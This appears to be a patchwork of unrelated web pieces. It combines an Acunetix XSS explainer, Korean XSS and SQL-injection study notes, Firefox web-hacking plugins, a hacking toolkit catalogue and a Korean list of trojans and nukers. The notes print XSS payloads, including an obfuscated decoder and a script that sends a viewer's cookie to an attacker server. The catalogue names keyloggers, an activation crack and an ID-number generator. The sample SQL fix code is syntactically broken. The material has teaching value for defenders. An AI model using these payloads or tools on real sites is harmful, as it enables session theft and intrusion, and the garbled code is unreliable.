Example of a Cross Site Scripting Attack

As a simple example, imagine a search engine site which is open to an XSS attack. The query screen of the search engine is a simple single field form with a submit button. Whereas the results page, displays both the matched results and the text you are looking for.

Search Results for "XSS Vulnerability"

To be able to bookmark pages, search engines generally leave the entered variables in the URL address. In this case the URL would look like:

http://test.searchengine.com/search.php?q=XSS%20

Vulnerability

Next we try to send the following query to the search engine:

<script type="text/javascript"> alert ('This is an XSS Vulnerability')< /script>

By submitting the query to search.php, it is encoded and the resulting URL would be something like:

http://test.searchengine.com/search.php?q=%3Cscript%3

Ealert%28%91This%20is%20an%20XSS%20Vulnerability%92%2

9%3C%2Fscript%3E

Upon loading the results page, the test search engine would probably display no results for the search but it will display a JavaScript alert which was injected into the page by using the XSS vulnerability.

How to Check for Cross Site Scripting Vulnerabilities

To check for Cross site scripting vulnerabilities, use a Web Vulnerability Scanner. A Web Vulnerability Scanner crawls your entire website and automatically checks for Cross Site Scripting vulnerabilities. It will indicate which URLs/scripts are vulnerable to these attacks so that you can fix the vulnerability easily. Besides Cross site scripting vulnerabilities a web application scanner will also check for SQL injection & other web vulnerabilities.

Acunetix Web Vulnerability Scanner scans for SQL injection, Cross site scripting, Google hacking and many more vulnerabilities.

Preventing Cross Site Scripting Attacks

The purpose of this article is define Cross Site Scripting attacks and give some practical examples. Preventing XSS attacks requires diligence from the part of the programmers and the necessary security testing. You can learn more about preventing cross-site scripting attacks here.

Scanning for XSS Vulnerabilities with Acunetix Web Vulnerability Scanner Free Edition!
To check whether your website has cross site scripting vulnerabilities, download the Free Edition from http://www.acunetix.com/cross-site-scripting/scanner.htm. This version will scan any website / web application for XSS vulnerabilities and it will also reveal all the essential information related to it, such as the vulnerability location and remediation techniques. Scanning for XSS is normally a quick exercise (depending on the size of the web-site).

 private boolean authenticateUser(HttpServletRequest req)
  {
    // session.invalidate() should have been called prior to this
    // to invalidate an existing session

    HttpSession session = req.getSession(false);
    if (null != session)
    {
      // existing session assumed valid
      return true;
    }

    if (authenticateRequest(req) == true)
    {
      // create a new session
      req.getSession();
      return true;
    }
   
    return false;
  }

오랜만에 XSS를 검색하다가 잘 정리된 사이트를 발견하여 정리해 둡니다.

크로스 사이트 스크립팅은 매우 위험한 보안 노출로서 안전한 웹 기반 애플리케이션을 설계할 때 반드시 고려해야 한다. 이 글에서 노출의 본질과, 이것이 어떻게 영향을 미치는지를 설명하고 솔루션 전략을 소개한다.

오늘날 대부분의 웹 사이트는 동적 컨텐트를 웹 페이지에 추가하여 사용자에게 더 많은 즐거움을 선사한다. 동적 컨텐트는 몇몇 서버 프로세스에서 만들어진 컨텐트로서, 설정과 필요에 따라 다르게 작동하고 디스플레이 된다. 동적 웹 사이트는 정적 웹 사이트에는 없는 위험성도 지니고 있다. 이를 "크로스 사이트 스크립팅(cross-site scripting) "이라고 한다. 일명 "XSS"라고도 알려져 있다.

"웹 페이지는 텍스트와 HTML 마크업으로 구성된다. 이들은 서버에 의해 만들어지고 클라이언트 브라우저에 의해 인터프리팅 된다. 정적 페이지만을 만들어 내는 웹 사이트는 브라우저 사용자가 이러한 페이지들을 인터프리팅하는 방식을 완전히 제어할 수 있다. 동적 페이지를 만들어 내는 웹 사이트는 클라이언트가 아웃풋을 인터프리팅 하는 방식을 완전히 제어하지는 못한다. 신뢰할 수 없는 컨텐트가 동적 웹 페이지에 들어갈 수 있다는 것이 문제의 본질이다. 웹 사이트나 클라이언트도 이러한 현상을 인식하여 방어할 수 있는 충분한 정보가 없다." 인터넷 보안 취약성을 연구하는 CERT Coordination Center의 설명이다.

크로스 사이트 스크립팅은 공격자들에게는 이미 유명해졌다. 매월 크로스 사이트 스크립팅 공격이 상용 사이트에서 발생하고 그러한 위험성을 설명하는 경고문이 발표된다. 주의하지 않는다면 여러분의 웹 사이트나 회사도 이러한 공격의 희생양이 될 것이다.
XSS (Cross Site Scripting) 크로스 사이트 스크립팅은 서버의 서비스를 공격하는 일반적인 해킹방법이 아니라 해당 서버를 사용하는 사용자를 공격하는 기법이다. 예를 들어 서비스를 사용하는 사용자가 글을 읽으려고 클릭하는 순간 글에 연결되어 있는 스크립트가 실행되고 스크립트를 통하여 사용자에게 악성코드가 심어진다.

글, 메일, 그림 등을 열람하기 위하여 사용자들의 흥미를 유발시키기 때문에 사회공학적 해킹기법으로 분류된다.

웹 사이트상의 애플리케이션이 크로스 사이트 스크립팅에 취약하다고 알려지면 공격자는 공격을 구상하게 된다. 공격자가 가장 빈번하게 사용하는 기술은 공격 목표의 시스템에 공격 목표의 권한을 사용하여 실행할 수 있도록 JavaScript, VBScript, ActiveX, HTML, Flash를 투입하는 것이다. 공격이 활성화 되면 계정 하이재킹, 사용자 설정 변경, 쿠키 훔치기 및 오염, 오류 광고 등이 가능하다.


1. XSS Test

일반적인 게시판에 <script>alert("XSS")</script>라고 입력하여 XSS라는 메시지 창이 뜨면 XSS취약점이 있는 것이다.

예제1) 사용자의 쿠키값을 획득
<script>alert(document.cookie);</script>

예제2) 클릭 시 악성코드가 있는 사이트로 이동
<a href="http://test.com/test.cgi?loc=<script src='http://attacker.com/test'></script>">Click</a>

2. iframe 태그

예제1) 숨겨진 iframe를 이용해 악성코드 사이트로 이동
<iframe src=" http://attack.com" width="0" height="0" frameborder="0"></iframe>

3. object 태그

예제1) 지정한 파일이 존재하지 않을 때 악성코드 사이트로 이동하도록 함.
<object width=0 height=0 sytle=display:none; type=text/xscriptlet data=mk:@MSITStore:mhtml:c:\nosuchfile.mht! http://test.com/attack_chm::exploit.html></object>

4. div 기법

예제1) div 태그를 사용하여 이미지 등을 삽입시킨다.
<div style="position:absolute; left:200; top:90; z-index:2;">
<img src="images/test.jpg">
</div>

5. 인코딩 기법

예제1) 공격하려는 문자열을 다른 표현으로 인코딩하여 눈에 띠지 않거나, IPS, 웹방화벽 드의 감지패턴을 우회하기 위하여 인코딩한다.

원본 : <script>alert("test");</script>
인코딩 : <script>alert(String.fromCharCode(116, 101, 115, 116))</script>

6. Obfuscated 기법

예제1) 인코딩 기법과 같이 우회하기 위해 사용한다.
<script language="javascript">
e = '0x00' + '5F';
str1 = "%E4%BC%B7%AA%C0%AD ....... %AA%E2";
str = tmp = '';

for(i=0; i<str1.length; i+=3)
{
tmp = unescape(str1.slice(i,i+3));
str = str + String.fromCharCode((tmp.charCodeAt(0)^e)-127);
}

document.write(str);
</script>

7. 기타우회 방법 (이 방법은 정확히 이해가 안되네)

;</script><script>alert("xss");</scr..

요약

공격자들이 크로스 사이트 스크립팅을 사용하여 웹 사이트를 공격하는 방법을 설명했다. 또한 웹 사이트가 간단한 커스텀 태그 라이브러리를 사용하여 동적 컨텐트를 암호화 하는 것으로도 이러한 공격을 줄일 수 있다는 것을 설명했다. XSS 커스텀 태그 라이브러리를 그대로 사용하거나 이를 변형하여 자신의 웹 애플리케이션에 맞출 수 있다.

관련 정보 : http://ha.ckers.org/xss.html#XSScalc

1. SQL 삽입 공격

1-1) 웹 애플리케이션은 사용자로부터 SQL 구문을 입력 받는 부분, 즉 데이터베이스와 연동되어야

연동되어야 하는 부분은 크게 로그인, 검색, 게시판으로 나눌 수 있습니다.

1-2) 로그인 하는 과정에서 아이디와 패스워드 부분에 특정한 SQL 문이 사입되어 그것이 그대로

데이터베이스에 전송되어 공격자는 원하는 결과를 볼 수 있는 것입니다.

1-3) 발전된 SQL 공격

단순한 로그인 우회 공격이 아닌 다른 테이블에 있는 내용을 열람하는 공격

일반적으로 우편번호 검색 부분에 SQL 쿼리를 입력 받아 조회를 하고 조회하는 과정에서

사용자 입력을 체크하지 않을 경우 SQL Injection 취약점으로 인해 다른 테이블의 내용을 열람

할 수도 있습니다. 또한 Union 구문을 이용하는 경우도 있습니다.

1-4) 발전된 SQL Injection 공격을 위해 다음과 같은 조건이 만족되어야 합니다.

앞의 select 문에서 가져온 열 수와 union뒤에 select 문에서 가져오는 열 수가 동일해야 하고

테이블의 이름과 컬럼의 이름을 알고 있어야 하며 각 컬럼의 타입이 일치해야 합니다.

1-5) SQL Injection 취약점이 존재하는지 확인 하는 방법

1. 사용자의 입력이 DB와 연결되는 부분에 ' 과 같은 문자를 입력하였을 때 SQL 에러가

발생하면 SQL Injection 취약점이 존재한다고 봄

2. SQL 이중 명령어의 사용 : MS-SQL의 경우 ; 문자가 존재하면 SQL 쿼리를 끝내고 ; 다음에

나오는 SQL 쿼리를 실행합니다.

3. MS-SQL의 경우 xp_cmdshell을 이용하여 윈도우 내부 명령어를 실행할 수 있습니다.

1-6) 대응법

1. SQL Injection 공격 취약점은 프로그래머가 사용자의 입력을 받는 부분에서 비정상적인

입력이나 예상치 못한 입력을 받는 것을 처리하지 못 할 때 발생합니다.

2. SQL Injection 공격을 막기 위해서는 사용자의 입력 값에 대한 필터링을 수행합니다.

3. CSS 언어에서의 검증이 아닌 SSS 의 검증으로 처리합니다.

해결안)

String param1 = request.getParameter("id");

String param2 = request.getParameter("password");

validata(param1); // 특수 문자에 대한 필터링

validata(param2);

query = "select userid, userpw from users where userid =? ";

pstmt = conn.prepareStatement(query);

pstmt = setString1, param1);

rs = pstmt.executeQuery();

if (rs.next()) {

//검증

if (rs.getString(1).equals(param1) && getString(2).equals(param2)) {

//성공

}else {

//실패

}else {

// 로그인 실패

}

2. XSS 공격

2-1) XSS를 이용한 공격의 기본 원리

     

 

2-2) XSS란

1. Corss Site Scripting의 약자를 줄여 CSS라고 합니다. 또 다른 이름인 Cascadion Style

Sheets와 혼동되어 일반적으로 XSS라고 불리게 되었습니다.

2. XSS는 타 사용자의 정보를 추출하기 위해 사용되는 공격 기법으로 게시판이나 검색 부분,

즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 공격자가

스크립트 코드를 실행할 수 있게 되는 취약점 입니다.

2-3) XSS를 통한 공격 방법

실제 XSS 공격을 통해 다른 사용자의 쿠키 값을 이용해 다른 사용자로 로그인 하는 과정

1. 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도합니다.

2. 스크립트가 시작하여 열람자의 쿠키 값을 가로챔니다.

3. 가로챈 쿠키 값을 웹 포록시 등을 이용하여 재전송합니다.

4. 공격자는 열람자의 정보로 로그인을 합니다.

예) <script> url="http://192.0.0.1/GetCookie.jsp?cookie=+document.cookie;whidow.open(

url,width=0, height=0);</script>

위 코드는 게시판을 열람시에 사용자의 쿠키 정보가 해커의 웹서버로 전송하는 코드임

2-4) 대응방안

1. 중요한 정보는 쿠키에 저장하지 않아야 하며 사용자 식별 같은 부분은 쿠키에 담지
   않아야

한다.

2. 스크립트 코드에 사용되는 특수 문자에 대한 이해와 정확한 필터링을 해야 한다.
가장 효과적인 방법은 사용자가 입력 가능한 문자(예를 들어, 알파벳, 숫자 및 몇 개의 특수문자)

만을 정해 놓고 그 문자열이 아닌 경우는 모두 필터링해야 합니다. 이 방법은 추가적인

XSS 취약점에 사용되는 특수 문자를 애초부터 막을 수 있다는 장점이 있습니다.

3. 꼭 필요한 경우가 아니라면 게시판에 HTML 포멧의 입력을 사용할 수 없도록 설정합니다.

4. 스크립트 대체 및 무효화 javascript라고 들어오는 문자열을 무조건 'x-javascript'와

같이 대체를 하여 스크립트 실행을 무효화시키는 방법도 있습니다.

5. 정기적인 점검을 통해 취약점을 수시로 확인하고 제거합니다.

파이어폭스에  웹해킹에 사용하면 좋을 플러그인을 몇 개 소개합니다.

1. Web developer

https://addons.mozilla.org/ko/firefox/addon/60  의 주소로 이동하면 Web Developer의 페이지가 나옵니다.
거기서 Firefox에 추가라는 버튼을 클릭하면 자동으로 설치 창이 뜨고 설치가 진행됩니다.

설치가 끝나고 firefox를 재시작 하면 위와 같이 안보이던 메뉴가 생깁니다. 해당 메뉴들은 웹페이지를 조작하거나 분석하는데 많은 도움을 주는 도구들입니다.

특히 쿠키 조작이나 자바스크립트 분석은 웹 해킹을 할 때 많은 도움을 주기도하고 .
어떤 링크들이 있는지 목록화도 가능합니다.

2. liveHTTPHeader

http://livehttpheaders.mozdev.org/installation.html 로 이동하면 최신버전 플러그인을 볼 수 있습니다. 이 플러그인은 실시간(?)으로 Http 헤더를 분석하거나 조작된 헤더 내용을 전송할 수 있는 툴입니다.

설치가 끝나면 도구 -> Live Http Headers 를 선택해서 위와같이 프로그램을 띄울 수 있습니다. Capture를 선택하면
실시간으로 Http Header가 찍히는 것을 확인할 수 있습니다.

Send POST Content?를 선택하게 되면 헤더와 함께 특정 컨텐츠도 함께 보낼 수 있습니다.
 

3. NF-Tools(Net-force Tools)

http://www.net-force.nl/files/download/nftools/nftools.xpi  <- 클릭하면 아마 자동으로 설치 창이 뜰 것입니다.
개인적으로 매우 매우 맘에드는 플러그인입니다.
문자열 컨버팅을 해주는 유틸리티 입니다. 설치가 끝나고 firefox 재시작한 뒤 오른쪽 클릭을 하면 NF-Tools 라는
새로운 메뉴가 생긴것을 확인할 수 있습니다. 아무거나 선택합니다.

매우 보기 편한 인터페이스 입니다. 아스키 코드를 헥스로 바꾸거나 헥스를 아스키 코드로 바꿔주는 기능을 담당하고 있습니다. 사실 간단한 일이지만 매우 자주 자주 쓸모 있는 것이죠

한가지 더 보죠

이것은 BASE64 인코더/디코더 입니다. 아스키와 헥스 가 했던것 처럼 매우 사용하기 편합니다
그 외에도 자주 사용되는 암호화 기능등이 있네요

4. FoxyProxy

https://addons.mozilla.org/ko/firefox/addon/2464 로 이동하면 FoxyProxy 설치 페이지를 볼 수 있습니다. 이것은 프록시 서버를 사용할 수 있도록 해주는 애드온인데요 .. 프록시 서버를 등록해서 켜고 끄고 할 수 있습니다.

5. Domain Details

이번에는 큰 도움은 안되지만 깔아놔서 손해 볼일은 없는 플러그인입니다.
https://addons.mozilla.org/ko/firefox/addon/2166 주소이구요 
이걸 설치하면 간단한 프로그램이 깔리게 됩니다.

가장 하단 분에 보면 서버정보와 아이피 정보가 있는 것을 볼 수 있습니다.
이처럼 현재 접속해 있는 사이트의 정보를 간단히 리포트 해주는 역할을 하고 있습니다
아이피 옆에 느낌표를 누르면 더 자세한 정보들도 확인할 수 있답니다

This is a complete directory structure listing of all programs included.
The main categories are listed first, followed by an individual listing
of each category, and any sub-categories inside them if necessary.

=========================
---[ Main Categories ]---
=========================
AnalogX.com Freeware
Anti-Spyware
Antivirus Tools & Scanners
Checksum.org Freeware
DiamondCS.com.au Freeware
File Recovery & Forensics
FireFox 1.0
Foundstone.com Freeware
GRC.com Freeware
Hacking & Related
Informational eBooks
KarenWare.com Freeware
Missing files (DLL, OCX, etc)
Network & Internet Tools
NTSecurity.nu Freeware
Other (Misc.)
Password Recovery
RJL Software (Freeware)
SteelBytes.com Freeware
SysInternals.com Freeware
System Information
UNIX Utilities (Win32 Ports)
Windows System & Security

========================
---[ Sub-Categories ]---
========================
* AnalogX.com Freeware
- AutoTab v1.00
- HyperTrace v2.02
- MaxMem v1.02
- NetStat Live 2.11
- PacketMon v1.00
- PCalc v1.11
- PortBlocker v1.02
- PortMapper v1.03
- Proxy v4.14
- ScriptDefender v1.02
- SimpleServer WWW v1.23
- TextScan v1.02
- WhoIs v3.01
* Anti-Spyware
- BHODemon 1.0.0.3
- BHODemon 2.0.0.21
- BHOList v1.40
- BugOff v1.10
- CWShredder 2.12
- HijackThis v1.99
- Kill2Me v1.11
- Spybot - S&D v1.3
- Startup CPL
* Antivirus Tools & Scanners
- avast! Virus Cleaner v1.0.206
- AVERT Stinger v2.4.7
- F-Prot v3.15b (DOS)
- Klister v0.4
- Microsoft Malware Removal Tool (Jan 2005)
- Patch Finder 2.11
- RKDetect
- VICE v2.0
* Checksum.org Freeware
- DriverList
- HackIt
- MD5Crack
- Monitor
- Rx
- Tx
* DiamondCS.com.au Freeware
- AdjustCR
- Advanced Process Manipulation
- Advanced Process Termination
- AutoStart Viewer v1.4
- CmdLine
- CPU Info
- DelLater
- HTTP Get
- ICMP Ping
- IP List
- IRClean & MIRClean
- OpenPorts v1.0
- PassDump
- PWReveal
- RegistryProt 2.0
- Resolve
- SendMail
- SHA-160 Hash
- TaskMan+ v1.5
- TraceRoute
- Uptime
- XWhois
* File Recovery & Forensics
- Active@ Uneraser v3.0 (DOS)
- Active@ Uneraser v3.0 (GUI)
- ADS Spy v1.05
- BackRex Expert Backup v2.1
- DiskCheck v1.0.57
- DiskView v1.0
- Eraser v5.3
- FileCHK
- Flobo Floppy Repair
- FlopShow v1.2
- Forensic Acquisition Utilities v1.0.0.1034 b1
- GetDataBack for FAT v2.31
- GetDataBack for NTFS v2.31
- Hex Editor v2.0
- LADS v4.00
- Mozilla Backup 1.3.2
- Norton Ghost Explorer 2003
- Partition Rescue v1.0
- PC Inspector File Recovery v3.0
- Recover My Files v3.06
- SectorSpy v2.1
- UnCHK 3
- Undeletion Wizard v1.1
- WinHex Professional v11.9 SR-8
* FireFox 1.0 (Portable)
* Foundstone.com Freeware
- Forensic
> BinText v3.0
> Forensic Toolkit v2.0
> Galleta v1.0
> NTLast v3.0
> Pasco v1.0
> PatchIt v2.0
> Rifiuti v1.0
> ShoWin v2.0
> Vision v1.0
- Intrusion Detection
> Attacker v3.0
> Filewatch v1.0
> Fport v2.0
- S3i
> Site Digger v2.0
> SSLDigger v1.0
- Scanning
> BOping v2.0
> CIScan v1.0
> DDosPing v2.0
> DSScan v1.0
> MessengerScan v1.05
> MyDoom Scanner v1.0
> NetSchedScan v1.0
> RPCScan v2.03
> ScanLine v1.01 (FScan)
> SNScan v1.05
> SQLScan v1.00
> SuperScan v3.0 & v4.0
> Trout v2.0
- Stress Testing
> Blast v2.0
> FSMax v2.0
> UDPFlood v2.0
- Foundstone Free Tools (Link)
* GRC.com Freeware
- DCOMbobulator
- FIX-CIH Virus Recovery
- ID Serve
- IDentify ASPI Devices
- LeakTest
- LetShare
- NoShare
- Shoot The Messenger
- SocketLock
- SocketToMe
- Trouble In Paradise (TIP)
- UnPlug n' Pray
- Wizmo
- XPdite
* Hacking & Related
- Attack Tool Kit v4.0
- AutoDial (War Dialing, 1986)
- Avalanche 3.6 (1997)
- GuidoZ Camophone.com (GUI)
- CyberFreak (1995)
- EXE Hiding
> eLiTeWrap 1.04
> Ghost
> Hidden32
> HideRun
> InPEct v1.1
- eXeScope v6.41
- Ghost Keylogger v3.8
- GuidoZ Cracks.am Searcher v1.21
- GuidoZ Key Logger v1.1
- Hacked Regedit
- Resource Hacker v3.4.0
* Informational eBooks
- 200 Ways To Revive A HDD (Rich Text Format File)
- BIOS Survival Guide (Rich Text Format File)
- How to use TELNET with SMTP (Text File)
- Increase WinXP Bandwidth (Text File)
- IP Subnetting (Adobe PDF)
- Receive only (CAT5) (Adobe PDF)
- Receive Only CAT5 (Text File)
- Smashing The Stack For Fun And Profit (Text File)
- Telenet Hosts (Text File)
- Telenet Secrets (Text File)
- The OSI Model (Adobe PDF)
- WinNT Hack (Text File)
* KarenWare.com Freeware
- Alarm Clock v3.0.3
- Autorun.inf Editor v1.4
- Clipboard Viewer v2.2
- Computer Profiler v2.5.1
- Cookie Viewer v3.3
- Countdown Timer II v3.4
- Directory Printer v4.3
- Disk Slack Checker v2.3.1
- Drive Info v2.2
- E-Mailer II v1.2
- Font Explorer v2.0.3
- LAN Monitor v1.3.4
- MD5 Hasher v1.0
- Net Monitor v3.5.1
- Print Logger v2.4.1
- Recycler v1.1
- Registry Pruner v2.5
- Registry Ripper v1.2
- Replicator v2.2.3
- Show Stopper v2.0.3
- Snooper v1.4
- Time Cop v1.2
- Time Sync v1.1.4
- URL Discombobulator v1.7.1
- Version Browser v3.1
- WhoIs v2.2.5
- Window Watcher v2.2.1
- Zone Manager v1.2
* Missing files (DLL, OCX, etc)
- Misc Other (VB 3 & 4+).zip
- Visual Basic Runtimes (5 & 6).zip
- WinPcap 3.1 Beta 4
* Network & Internet Tools
- 1st Transfer 2000 FTP client
- 7th Sphere PortScan
- Active Ports v1.4
- Analyzer v2.2
- Bandwidth Monitor v1.0.44
- Cisco PIX Firewall Password Calc
- Connection Keep Alive
- CryptCat (12-02-2003)
- DataPipe
- Email & Related
> POP3 Cleaner v2.0 Beta
> Receiving.exe
> Sending.exe
> SpeedMail v1.2 (Send with attachment)
- FreshDownload v7.20
- Host Scanner
- IP Tools v2.50
- IPsearch v2.0
- IRS v1.9
- MingSweeper 1.00.130 (a5)
- ModemMax
- NcFTP v3.1.8
- Netcat 1.11
- NetDemon 0.95b
- NetDemon 3.0
- NetScanTools v5.0
- Nmap v3.75
- Port Blocker v1.0.15
- PuTTY v0.56b
- Raw Clients
> DNS Lookup v1.2
> Mail Dump v1.2
> Raw TCP Client v1.2
- Sauron v1.2
- Scanning (CMD)
> scan100
> scan500
> scan1000
- sTerm v1.6
- Stunnel v4.05
- TCP Optimizer
- WEP (Wi-Fi) Keygen v1.9
- WinARP MitM v0.9.5
- WinARP Swiss Knife v0.9.2
- WinARP Watch
- WinSock and TCP Repair
- WSPing32
- X-File Get v1.0b
- X-NetStat Pro v5.12
* NTSecurity.nu Freeware
- CECrypt
- Contact (Text file)
- DelGuest
- ReadMe (Text file)
- AckCmd
- BrowseList
- ClearLogs
- CryptF
- DBProbe
- DumpUsers
- EFSView
- EtherChange
- EtherFlood
- FakeGINA
- FileHasher
- GPList
- GrabItAll
- GSD (Get Service Dacl)
- Inzider
- IPEye
- IPSecScan
- KerbCrack
- KLogger
- ListModules
- LNS - List NTFS Streams
- MACMatch
- NSCopy
- PEriscope
- PMDump
- PromiscDetect
- PStoreView
- RPAK (Routing Protocol Attack Kit)
- SetOwner
- SMB Downgrade Attacker
- Snitch
- SQLdict
- StrongPass
- Tini
- Winfo
- WinRelay
- WinZapper
- WPSweep
- WUPS
* Other (Misc.)
- Autorun
> Autorun.inf Maker
> Launch v1.2
> Removable disk WinXP Icon
> Trah Starterfile
- CD Tray Pal v1.0.55
- FreshView v3.60
- GmailFS (Must Install)
- GSpot v2.2.1
- HTML Tag Remover v1.0.20
- reJPEG v1.0
* Password Recovery
- Brutus AET2
- Cain & Abel v2.5
- John the Ripper v1.6
- L0pht Crack 5 (LC5)
- Local Password Recovery (Progenic)
- PacketCatch v1.1.0.0
- PacketInside v1.0.0.1
- PassDump (Win9x)
- Password Thief
- PWLInside v1.22
- SAMInside v2.2.6.0
- TPU (Total Password Utility)
- VeoVeo v3.4
- Winrtgen v1.2
* RJL Software (Freeware)
- DelayExec v1.00
- Open & Close CD v1.20
- Shutdown v1.02
- Simple Search-Replace v1.03
- TreeCopy v1.11
* SteelBytes.com Freeware
- Disk & File
> AutoCompress v1.2.0.15
> FileCompare v1.0.0.12
> HD_Speed v1.4.0.43
- Misc
> JPG & PNG Stripper v1.1.0.8
> Sleep v1.0
- Network
> ConnectionMonitor v1.2.0.30
> Email Tester v1.2.3.12
> FileGateway v1.4.0.109
> PortTunnel v2.0.5.281
> YAPS v1.0.2.30
- Programming
> Exe32Pack v1.42
* SysInternals.com Freeware
- Misc
> AdRestore v1.1
> Autologon v1.0
> ClockRes v1.0
> DiskExt v1.0
> DiskView v2.0
> EFSDump v1.02
> Hex2dec v1.0
> Hostname Converter
> Junction 1.03
> LoadOrder v1.0
> LogonSessions v1.1
> PendMoves v1.1
> Regjump v1.01
> Sigcheck v1.0
> Streams v1.5
> Strings v2.1
> Sync v2.2
> VolumeId v2.0
- Monitoring Tools
> CPUMon v2.0
> DebugView v4.31
> Diskmon v2.01
> Filemon v6.12
> Handle v2.20
> ListDLLs v2.23
> NTFSInfo v1.0
> PMon v1.0
> Portmon v3.02
> Process Explorer v8.52
> Regmon v6.12
> TCPView v2.34
> TDImon v1.01
> Tokenmon v1.01
> Winobj v2.13
- Performance Tools
> CacheSet v1.0
> Contig v1.51
> Frob v1.6a
> PageDefrag v2.3
- Utilities
> AccessEnum v1.2
> Autoruns v6.0
> Bluescreen v3.2 (Screensaver)
> BgInfo v4.08
> Ctrl2cap v2.0
> FAT32 for WinNT 4.0 v1.01
> Fundelete v2.02 (WinNT)
> LDMDump v1.02
> LiveKd v2.11
> NTFS for Win9x v2.0 (Read Only)
> NTFSCHK v1.0
> NTFSFlp v1.0
> PsTools v2.1
> SDelete v1.2
> ShareEnum v1.51
- SysInternals Free Tools (Link)
* System Information
- Aezay Computer Info v1.61
- Aida32 (Enterprise) v3.93
- Everest Home v1.51
- FlexInfo Pro v1.0.125
- FreshDiagnose v6.80
- NeroInfo Tool v2.21
- PCResView v2.0
- ShellExView v1.10
- SIW v1.44
- System Properties v1.2
- WinAudit v1.3
* UNIX Utilities (Win32 Ports)
- Outwit v1.23
> docprop
> odbc
> readlink
> readlog
> winclip
> winreg
- UnxUtils
> bin
sh.exe
> usrlocalwbin
agrep.exe ansi2knr.exe basename.exe bc.exe
bison.exe bunzip2.exe bzip2.exe bzip2recover.exe
cat.exe chgrp.exe chmod.exe chown.exe
cksum.exe cmp.exe comm.exe compress.exe
cp.exe csplit.exe cut.exe date.exe
dc.exe dd.exe df.exe diff.exe
diff3.exe dircolors.exe dirname.exe du.exe
echo.exe egrep.exe env.exe expand.exe
expr.exe factor.exe fgrep.exe find.exe
flex.exe fmt.exe fold.exe fsplit.exe
gawk.exe gclip.exe gplay.exe grep.exe
gsar.exe gunzip.exe gzip.exe head.exe
id.exe indent.exe install.exe join.exe
jwhois.exe less.exe lesskey.exe ln.exe
logname.exe ls.exe m4.exe make.exe
makedepend.exe makemsg.exe man.exe md5sum.exe
mkdir.exe mkfifo.exe mknod.exe mv.exe
mvdir.exe nl.exe od.exe paste.exe
patch.exe pathchk.exe pclip.exe pr.exe
printenv.exe printf.exe ptx.exe pwd.exe
recode.exe rm.exe rman.exe rmdir.exe
sdiff.exe sed.exe seq.exe sha1sum.exe
shar.exe sleep.exe sort.exe split.exe
stego.exe su.exe sum.exe sync.exe
tac.exe tail.exe tar.exe tee.exe
test.exe touch.exe tr.exe tsort.exe
type.exe uname.exe unexpand.exe uniq.exe
unrar.exe unshar.exe unzip.exe uudecode.exe
uuencode.exe wc.exe wget.exe wget.hlp
which.exe whoami.exe xargs.exe yes.exe
zcat.exe zip.exe zsh.exe
* Windows System & Security
- Account Lockout & Management Tools
- Active CPU v1.1
- AutoShutdown v1.1
- Cookie Eater v1.0
- DropMyRights
- DumpEvent
- Dump Event Log (DumpEL)
- Dump Registry (DumpReg)
- Dump Security v2.8.2 (DumpACL)
- EZMem Optimizer v1.0.15
- FileSplit v2-c
- Fix XP Logon (GINA)
- FreshUI v7.26
- GuidoZ MultiDesk v1.2
- IPFront
- MaxFormat v3.5
- MJB Keyfinder v1.5b3
- NET Users v1.21
- NET View v1.20
- Norton WinDoctor 2004
- Partition Management
> PartInNT.exe
> Pqboot32.exe
> PTEDIT32.EXE
- PKWare v2.04g (DOS)
- Pocket KillBox
- PrcView v3.7.3.1
- Print Screen Deluxe 5.1
- RegDACLE v5.1
- RestoreMBR
- SetFileDate 1.0
- SFV Checker v1.12
- SHA1 Sum
- SmeDump
- System Optimizer
- Total Uninstall v2.34
- Universal Activation Crack (WinXP)
- UnZip v5.12 (CMD)
- UPX v1.25 (Win32)
- UPX v1.25 (DOS)
- UPX Shell v3.0.9.2511
- UPX-iT v1.6.1
- WHOAMI
- Windows, Office & Misc CD Keys
- Windows Grep
- Windows XP SP2 Mods
- WinImage v6.10
- WinISO 5.3
- WinRAR 3.41
- XP AntiSpy v3.92
- XP Keygens & Changers
- XPlite & 2000lite Pro 1.5.02

==============================================================================
Trojan Virus / Hacking Tool
==============================================================================
Back Orifice 2000 --- cDc에서 공개한 백 오리피스 2000
Back Orifice 1.20 --- cDc 에서 공개한 백 오리피스
Back Orifice 1.3 --- 역시 BO의 업그레이드 버전
주민등록번호생성기 --- 주민등록 번호 생성기
Infector 2 --- V3에 안 잡히는 BOSERVE.EXE
Deep Bo --- BO의 업그레이드 버전!! (편리한 IP Sweep 기능)
Bo Plug-in --- 3가지 BO 플러그 인 (ButtTrumpet, SilkRope, BOFTP)
No BO 13a --- BO 해킹 방지 전문적으로 차단하는 프로그램
Net Bus 1.70 --- BO랑 쌍벽을 이루는 Trojan Hacking 프로그램
Net Bus Pro B --- 넷버스 2 프로 베타 버전 원제는 NetBus 2 Atomic Toxic
Ner Bus Pro 2.01 --- 넷버스 프로 2.01
Netbus Pro 2.1 Dropper --- Netbus Pro 2.1 Dropper
Lock Down 2000 Trojan Virus --- 전문 검사+치료 프로그램
BO SPY --- BO Gui쓰는 사람에게
Cleaner 2.0 --- bo 검사 & 치료 프로그램
BO Scanner --- Cleaner 2.0과 비슷한 프로그램
BO Remove --- BO만 치료
Modem Jammer --- IP경로 지우는 프로그램
Infector 2 --- V3에 안 잡히는 BOSERVE.EXE
스쿨버스 --- 스쿨버스입니다.
Deepthroat --- nobo에 안걸 리는 bo 서버
Subseven --- v1.7 트로이입니다.
Subseven --- 2.1 버그 패치 된 것
Pphucker --- pphucker라는 트로이

==============================================================================
포트스캔
==============================================================================
Port Scanner --- 포트 스캐너입니다.
Port Pro //
Port Test //
ChaOscan //
Tcp port scanner //
FTP Scanner --- IP주소로 FTP서버를 찾아줌

==============================================================================
WWW해킹
==============================================================================
Wwwhack98 --- 가장 잘 알려진 웹 해킹 프로그램
Webcrack --- 특별한 기능이 있는 웹 해킹 프로그램
HackerTTP1_3 --- 가장 빠른 웹 해킹 프로그램
Goldeneye --- Goldeneye라는 웹 해킹 프로그램

==============================================================================
누킹
==============================================================================
Mass nuker --- 매우 강력한 누킹 프로그램
Port Fuck --- 윈도우 98의 포트를 막아줌
Wiin nuke --- 95 화면을 먹통으로 만들어 버림
Nuke --- 강력한 누킹 프로그램
Nuke`em --- 컴퓨터를 다운시켜 버림
E-mail Nuker --- 상대방의 E-MAIL을 날려버림
Voob --- 컴퓨터를 다운시켜 버림

===============================================================================
키 로그
==============================================================================
